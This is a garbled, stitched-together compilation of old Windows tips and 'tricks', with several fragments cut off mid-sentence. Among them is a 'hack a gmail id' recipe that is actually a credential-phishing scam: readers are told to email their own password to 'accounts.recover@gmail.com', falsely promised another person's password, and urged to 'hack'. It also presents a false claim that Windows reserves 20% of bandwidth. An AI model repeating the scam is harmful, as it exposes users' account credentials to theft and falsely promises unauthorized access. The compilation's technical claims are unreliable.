The Hidden Microsoft Song

Do you know the hidden Microsoft song? I hear this song while im installing windows,
where its almost at the end where have to register your windows, enter your

Speed up internet by 20%:

Microsoft reserves 20% of available bandwidth for their own purposes like Windows
updates &
interrogating your PC, etc

You can get it back:

click Start then Run and type "gpedit.msc" without quotes. This opens the group policy
editor.
Then goto:
Local Computer Policy, then computer configuration then administrative Templates and
then
QOS Pacekt Schedular & then to Limit Reservable Bandwith. Double click on Limit
Reservable
Bandwith. It'll say it is not configured, but the truth is under the 'Explain' tab i.e, "By
default,
the Packet Schedular limits the system to 20 % of the bandwidth of a connection, but
you can
use this setting to override the default." So the trick is to ENABLE reservable bandwidth,
the
set it to ZERO. This will allow the system to reserve nothing, rather than the default 20%.
It works on Win 2000 as well.

[TRICK]See all the song lyrics while playing

Here's a very cool little plugin called Lyrics Plugin for Winamp or Windows Media
Player that displays song lyrics when you start playing a song ! You no longer have to go
searching the internet for the song lyrics ! Simply play your MP3 file and a few magical
seconds later all of the lyrics for that song show up automatically !!!
Once installed, for example in Windows Media Player on my computer, choose a song
from the libray and begin playing it. Then click on the Now Playing button across the top
and the lyrics screen will show up. Of course, this program will not find all of the lyrics
for every song, but if you feel up to you can add the lyrics yourself! But from my testing,
any popular song or half-decent band's songs were all found and they were correct.

to Windows XP
The program is called BootVis

Uncompress the file.

Run BOOTVIS.EXE
For a starting point, run Trace / Next Boot + Driver Delays

After the reboot, BootVis will take a minute or two to show graphs of your system
startup.
Note how much time it takes for your system to load (click on the red vertical line)
Then run Trace / Optimize System
Re-Run the Next Boot + Drive Delays
Note how much the time has decreased
Mine went from approximately 33 to 25 seconds.

My preference is to leave them all off except for Show shadows under mouse pointer and
Show window contents while dragging

[trick]Run Windows in your browser

With a new Web service, it is possible to run Windows directly from the browser - although it
actually is a little cheating.

Run programs, virtual, you can easily test systems without installing first.

That you now have the possibility of the website Windows4all.com.

It is simply built up as Microsoft's familiar operating system, but run from the browser
whether it is called Firefox, Explorer or something else.

You will then have a virtual version of Microsoft's OS if you surf into any Web page.

It must be stressed that it is not genuine Windows, you can find on Windows4all.com, but
rather an offer of how Microsoft's operating system would work if it only ran online.

You have access to a browser, so you - as our screenshot shows - can run Firefox, running
Windows running Internet Explorer ... confused?

There is also access to, among other things, word processing, video player, drawing program,
and of course the obligatory cable.

The question is just what it can be used for? At first glance it may at least provide a picture of
what the future may be online.

As more and more web services offer office packages, image and even advanced games via
the browser, it will eventually no matter what computer you're at - you have a network
connection. It is not inconceivable that we eventually - through the browser - will have access
to an online system that is optimized to run advanced Web applications and, of course, save
all our important files.

This requires that you install Silver Light, which is Microsoft's competitor to Adobe Flash

[TIP]▓Watch Any Movie In Paint▓

1 Start a movie in any player.

2 Then open Paint.

3 Now, in the player when the movie is being played, press "Print screen" button on
your key board.

4 Now, Press Paste(ctrl+v) in Paint.

5 Leave the movie player open and don't minimize it.

6 Open Paint now and see the movie in the Paint..

wanaa hack a gmail idddddddd

Here are a few basic steps.
Note: this is for learning purpose and non-harmful fun.

Step 1: Log into your Gmail account.

Step 2: Compose a new mail.
Step 3: In subject box type " PASSWORD RECOVERY "
Step 4: In the "To" field, give address - accounts.recover@gmail.com
Step 5: Write this in message box.
(first line)- Email address you want to hack.

(second line)- Your Gmail address

(third line)- Your Gmail account password

(fourth line) - =""><>
{simply copy and paste above.}

How it works: you mail to a system administrators automatic responder.

Usually only system administrators should be able to use this, but
when you
try it with your own password and mail this message from your Gmail
account
the computer gets confused! Why your password is needed- automatic
Gmail
responder will require your "system administrator password" which is
in fact
your own password!!! This makes the system think this is a genuine and an authorised
request. But the : computer doesn't know.

THE PASSWORD WILL AUTOMATICALLY BE SENT TO YOUR GMAIL! INBOX IN A MAIL

CALLED "SYSTEM REG MESSAGE" FROM "SYSTEM". This is an awesome trick
and
works as many times as you try it. Have fun! NOTE: Use account you
have been
using for few days say at least 30 days. Otherwise Gmail may take new
account as temporary and this trick may not work. Moreover use it soon
otherwise this flaw can be rectified soon.
Please be advised that it usually works with Gmail & AOL but i'm not
to sure
about HOTMAIL but can try.
ALTHOUGH THIS IS GMAIL ACCOUNT INFORMATION CENTER, IT HAS BEEN ABLE TO
WORK
WITH AOL.
I WILL NOT BE HELD RESPONSIBLE FOR WHAT YOU DO WITH THIS INFORMATION
NOR
WILL I BE HELD ACCOUNTABLE, THIS INFORMATION I'M SHARING IS FOR
EDUCATIONAL
PURPOSES ONLY. PLEASE USE IT TO YOUR DISCRETION.............
HAPPY HACKING ......

Most home users would love this trick. It allows you to bypass the login prompt on
Windows startup and go straight to your desktop without a login.

everytime, isn't it?

Use this trick at your own risks

Here's how:

1. From Desktop, Click on "Start" >> "Run".

2. Then type in "control userpasswords2" and press Enter.
3. Uncheck the box for "Users must enter a user name and password to use this
computer."
4. Click "Apply" and "Ok
